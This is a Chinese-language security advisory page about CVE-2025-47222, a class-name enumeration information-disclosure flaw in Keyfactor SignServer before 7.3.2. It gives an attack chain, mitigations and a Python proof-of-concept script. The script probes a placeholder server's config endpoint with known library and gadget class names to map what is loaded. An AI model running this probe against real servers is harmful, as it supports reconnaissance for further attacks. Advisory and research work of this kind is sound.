IPBUF安全漏洞报告
English
CVE-2025-47222 CVSS 6.5 中危

CVE-2025-47222 Keyfactor SignServer类名枚举信息泄露漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-47222
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keyfactor SignServer

相关标签

信息泄露类名枚举Keyfactor SignServerCVE-2025-47222Java安全认证绕过

漏洞概述

CVE-2025-47222是Keyfactor SignServer中发现的一个信息泄露漏洞。该漏洞存在于版本7.3.2之前的SignServer产品中,攻击者可以通过利用类名枚举来获取应用程序中加载的类的敏感信息。漏洞的根本原因在于应用程序对需要类路径的属性进行处理时,没有正确处理用户提供的类名。当攻击者向相关属性设置任意类名时,系统会根据该类是否存在于部署环境中返回不同的错误信息。这种差异化的响应使得攻击者能够推断出服务器上加载了哪些类,从而获取有关应用程序内部结构、使用的库和框架版本等敏感信息。由于该漏洞无需认证即可利用,且攻击复杂度较低,因此对未修复的系统构成中等程度的安全风险。攻击者可以利用泄露的类信息进行更深入的攻击,如针对已知漏洞的类库实施攻击,或进一步探测应用程序的弱点。

技术细节

该漏洞属于类名枚举(Class Name Enumeration)类型的信息泄露问题。在Keyfactor SignServer中,某些配置属性需要指定Java类的完整路径(如com.example.CustomClass)。系统在处理这些属性时存在验证缺陷:当用户输入一个类名时,如果该类存在于应用程序的类路径中,系统会正常处理或返回特定的响应;如果类不存在,则会返回不同的错误信息。这种响应差异使得攻击者可以通过枚举测试不同的类名来确定服务器上加载了哪些类。攻击者可以利用此漏洞获取以下信息:应用程序使用的第三方库及其版本、内部类结构、自定义实现类等。这些信息对于后续攻击(如已知漏洞利用、代码审计辅助等)具有重要价值。由于系统未对类名枚举请求进行速率限制或有效防护,攻击者可以在较短时间内完成大规模类名扫描。

攻击链分析

STEP 1
步骤1
攻击者识别目标Keyfactor SignServer实例,确认其版本低于7.3.2
STEP 2
步骤2
攻击者访问SignServer的配置接口或相关API端点,这些端点接受类路径参数
STEP 3
步骤3
攻击者向目标属性提交自定义的类名,观察系统返回的错误消息或响应行为
STEP 4
步骤4
通过比较不同类名的响应差异,攻击者确定哪些类存在于应用程序的类路径中
STEP 5
步骤5
攻击者收集已确认存在的类信息,用于后续攻击,如识别易受攻击的库版本或内部结构

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-47222 Class Name Enumeration PoC # Target: Keyfactor SignServer < 7.3.2 # Vulnerability: Class name enumeration leading to information disclosure import requests import json import sys TARGET_URL = "http://target-server:8080/signserver" COMMON_CLASSES = [ "org.apache.commons.io.FileUtils", "org.apache.log4j.Logger", "org.springframework.web.context.ContextLoaderListener", "com.sun.rowset.JdbcRowSetImpl", "org.apache.commons.collections.Transformer", "org.apache.shiro.subject.SimplePrincipalCollection", "com.fasterxml.jackson.databind.ObjectMapper", "org.bouncycastle.jce.provider.BouncyCastleProvider", "org.opensaml.xml.parse.StaticBasicParserPool" ] def test_class_enumeration(): """Test for class name enumeration vulnerability""" results = [] for class_name in COMMON_CLASSES: try: payload = { "className": class_name, "workerType": "SomeWorker" } response = requests.post( f"{TARGET_URL}/config", json=payload, timeout=10, verify=False ) # Analyze response to determine if class exists if response.status_code == 200: if "class not found" not in response.text.lower(): results.append({ "class": class_name, "exists": True, "response_length": len(response.text) }) else: results.append({ "class": class_name, "exists": False, "response_length": len(response.text) }) except Exception as e: print(f"Error testing {class_name}: {e}") return results if __name__ == "__main__": print("CVE-2025-47222 Class Name Enumeration Test") print("=" * 50) results = test_class_enumeration() for r in results: status = "EXISTS" if r["exists"] else "NOT FOUND" print(f"{r['class']}: {status}")

影响范围

Keyfactor SignServer < 7.3.2

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 对SignServer的所有管理接口实施严格的访问控制,限制只有授权用户才能访问;2) 配置网络层面的访问限制,通过防火墙或IP白名单阻止非授权访问;3) 启用详细的审计日志,监控异常的类名查询请求;4) 定期扫描应用程序依赖的第三方库,及时更新已知漏洞的组件;5) 考虑部署入侵检测系统(IDS)来识别和告警类名枚举攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表